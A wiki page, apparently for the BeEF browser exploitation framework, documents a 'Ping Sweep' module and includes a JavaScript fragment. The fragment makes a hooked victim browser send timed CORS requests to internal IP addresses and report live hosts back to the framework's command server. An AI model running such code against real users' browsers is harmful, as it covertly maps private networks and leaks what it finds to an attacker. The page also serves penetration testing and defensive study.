Skip to content

Module: Ping Sweep

Haoxi Tan edited this page Jan 7, 2020 · 5 revisions

Summary

  • Objective: Perform a ping sweep of the network via Java

  • Authors: bcoles

  • Browsers: Firefox

  • Code

Internal Working

Discover active hosts in the internal network of the hooked browser using JavaScript XHR.

Browser needs to support CORS (Cross Origin Resource Sharing)

Set the IP address range to 'common' to scan a list of common LAN addresses.

The default number of workers (3) should be sufficient. Increasing the number of workers is likely to result in false negatives due to hitting the browser's maximum connection cap.

worker.queue('var start_time = new Date().getTime();' +
      'beef.net.cors.request(' +
        '"GET", "http://'+ip+':'+port+'/", "", '+timeout+', function(response) {' +
          'var current_time = new Date().getTime();' +
          'var duration = current_time - start_time;' +
          'if (duration < '+timeout+') {' +
            'beef.debug("[Ping Sweep] '+ip+' [" + duration + " ms] -- host is up");' +
            'beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip='+ip+'&ping="+duration+"ms", beef.are.status_success());' +
          '} else {' +
            'beef.debug("[Ping Sweep] '+ip+' [" + duration + " ms] -- timeout");' +
          '}' +
      '});'
    );

Screenshots

ping sweep options

ping sweep results

Feedback

Clone this wiki locally